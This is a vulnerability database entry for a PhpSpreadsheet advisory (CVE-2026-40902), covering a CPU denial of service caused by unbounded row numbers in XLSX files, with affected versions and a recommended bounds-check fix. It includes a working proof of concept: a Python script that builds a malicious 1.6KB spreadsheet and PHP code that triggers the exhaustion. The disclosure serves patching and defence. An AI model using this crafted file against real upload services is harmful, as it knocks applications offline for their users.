GHSA-7C6M-4442-2X6M

Vulnerability from github – Published: 2026-04-29 20:24 – Updated: 2026-05-13 16:31
VLAI
Summary
PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions
Details

Summary

The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.

Details

In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:

// ColumnAndRowAttributes.php:216
$rowIndex = (int) $row['r'];  // No validation against AddressRange::MAX_ROW

This value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:

// Worksheet.php:1342-1349
public function getRowDimension(int $row): RowDimension
{
    if (!isset($this->rowDimensions[$row])) {
        $this->rowDimensions[$row] = new RowDimension($row);
        $this->cachedHighestRow = max($this->cachedHighestRow, $row);
    }
    return $this->rowDimensions[$row];
}

The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):

// RowIterator.php:86
$this->endRow = $endRow ?: $this->subject->getHighestRow();

Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAX_COLUMN_INT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAX_ROW. The row dimension attribute path bypasses both of these checks.

PoC

Step 1: Create the malicious XLSX file (~1.6KB)

import zipfile
import io

content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'

rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'

workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'

wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'

sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'

with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('[Content_Types].xml', content_types)
    zf.writestr('_rels/.rels', rels)
    zf.writestr('xl/workbook.xml', workbook)
    zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)
    zf.writestr('xl/worksheets/sheet1.xml', sheet)

print("Created dos_row.xlsx")

Step 2: Load with PhpSpreadsheet (CPU exhaustion)

<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

$reader = IOFactory::createReader('Xlsx');
$spreadsheet = $reader->load('dos_row.xlsx');
$sheet = $spreadsheet->getActiveSheet();

echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Output: Highest row: 999999999

// This will consume CPU for ~144 seconds (999M iterations)
foreach ($sheet->getRowIterator() as $row) {
    // CPU exhaustion
}

Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.

Impact

  • CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using getRowIterator() or uses getHighestRow() as a loop bound. Estimated CPU burn is ~144 seconds per file.
  • Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.
  • Amplification: The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations.
  • Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.

Recommended Fix

Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:

// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216
// Before:
$rowIndex = (int) $row['r'];

// After:
$rowIndex = (int) $row['r'];
if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {
    continue;
}

The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.6.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.15"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.30.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40902"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T20:24:13Z",
    "nvd_published_at": "2026-05-12T22:16:33Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe XLSX reader\u0027s `ColumnAndRowAttributes::readRowAttributes()` method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a minimal XLSX file (~1.6KB) containing a `\u003crow r=\"999999999\"/\u003e` element that inflates `cachedHighestRow` to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.\n\n## Details\n\nIn `src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php` at line 216, the row index is cast directly from XML without bounds checking:\n\n```php\n// ColumnAndRowAttributes.php:216\n$rowIndex = (int) $row[\u0027r\u0027];  // No validation against AddressRange::MAX_ROW\n```\n\nThis value flows through `setRowAttributes()` (line 126) \u2192 `$this-\u003eworksheet-\u003egetRowDimension($rowNumber)` (line 60), which updates the cached highest row in `Worksheet.php:1348`:\n\n```php\n// Worksheet.php:1342-1349\npublic function getRowDimension(int $row): RowDimension\n{\n    if (!isset($this-\u003erowDimensions[$row])) {\n        $this-\u003erowDimensions[$row] = new RowDimension($row);\n        $this-\u003ecachedHighestRow = max($this-\u003ecachedHighestRow, $row);\n    }\n    return $this-\u003erowDimensions[$row];\n}\n```\n\nThe inflated `cachedHighestRow` is then returned by `getHighestRow()` (line 1099) and used as the default end bound in `RowIterator::resetEnd()` (RowIterator.php:86):\n\n```php\n// RowIterator.php:86\n$this-\u003eendRow = $endRow ?: $this-\u003esubject-\u003egetHighestRow();\n```\n\nNotably, column attributes already have equivalent validation at line 161 (`AddressRange::MAX_COLUMN_INT`), and cell coordinates are validated in `Coordinate::coordinateFromString()` (line 40) against `MAX_ROW`. The row dimension attribute path bypasses both of these checks.\n\n## PoC\n\n**Step 1: Create the malicious XLSX file (~1.6KB)**\n\n```python\nimport zipfile\nimport io\n\ncontent_types = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"\u003e\u003cDefault Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/\u003e\u003cDefault Extension=\"xml\" ContentType=\"application/xml\"/\u003e\u003cOverride PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/\u003e\u003cOverride PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/\u003e\u003c/Types\u003e\u0027\n\nrels = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"xl/workbook.xml\"/\u003e\u003c/Relationships\u003e\u0027\n\nworkbook = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cworkbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"\u003e\u003csheets\u003e\u003csheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/\u003e\u003c/sheets\u003e\u003c/workbook\u003e\u0027\n\nwb_rels = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\" Target=\"worksheets/sheet1.xml\"/\u003e\u003c/Relationships\u003e\u0027\n\nsheet = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cworksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"\u003e\u003csheetData\u003e\u003crow r=\"1\"\u003e\u003cc r=\"A1\"\u003e\u003cv\u003e1\u003c/v\u003e\u003c/c\u003e\u003c/row\u003e\u003crow r=\"999999999\" ht=\"15\"/\u003e\u003c/sheetData\u003e\u003c/worksheet\u003e\u0027\n\nwith zipfile.ZipFile(\u0027dos_row.xlsx\u0027, \u0027w\u0027, zipfile.ZIP_DEFLATED) as zf:\n    zf.writestr(\u0027[Content_Types].xml\u0027, content_types)\n    zf.writestr(\u0027_rels/.rels\u0027, rels)\n    zf.writestr(\u0027xl/workbook.xml\u0027, workbook)\n    zf.writestr(\u0027xl/_rels/workbook.xml.rels\u0027, wb_rels)\n    zf.writestr(\u0027xl/worksheets/sheet1.xml\u0027, sheet)\n\nprint(\"Created dos_row.xlsx\")\n```\n\n**Step 2: Load with PhpSpreadsheet (CPU exhaustion)**\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\n$reader = IOFactory::createReader(\u0027Xlsx\u0027);\n$spreadsheet = $reader-\u003eload(\u0027dos_row.xlsx\u0027);\n$sheet = $spreadsheet-\u003egetActiveSheet();\n\necho \"Highest row: \" . $sheet-\u003egetHighestRow() . \"\\n\";\n// Output: Highest row: 999999999\n\n// This will consume CPU for ~144 seconds (999M iterations)\nforeach ($sheet-\u003egetRowIterator() as $row) {\n    // CPU exhaustion\n}\n```\n\n**Expected output:** `getHighestRow()` returns 999999999. Any row iteration hangs indefinitely.\n\n## Impact\n\n- **CPU Denial of Service:** A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using `getRowIterator()` or uses `getHighestRow()` as a loop bound. Estimated CPU burn is ~144 seconds per file.\n- **Memory Exhaustion:** Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.\n- **Amplification:** The ratio of input size to resource consumption is extreme \u2014 1,580 bytes triggers nearly 1 billion iterations.\n- **Common Attack Surface:** PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.\n\n## Recommended Fix\n\nAdd row bounds validation in `readRowAttributes()` at line 216, matching the column validation pattern already present at line 161:\n\n```php\n// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216\n// Before:\n$rowIndex = (int) $row[\u0027r\u0027];\n\n// After:\n$rowIndex = (int) $row[\u0027r\u0027];\nif ($rowIndex \u003c 1 || $rowIndex \u003e AddressRange::MAX_ROW) {\n    continue;\n}\n```\n\nThe `AddressRange` import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in `Coordinate::coordinateFromString()` and the column validation at line 161.",
  "id": "GHSA-7c6m-4442-2x6m",
  "modified": "2026-05-13T16:31:37Z",
  "published": "2026-04-29T20:24:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40902"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…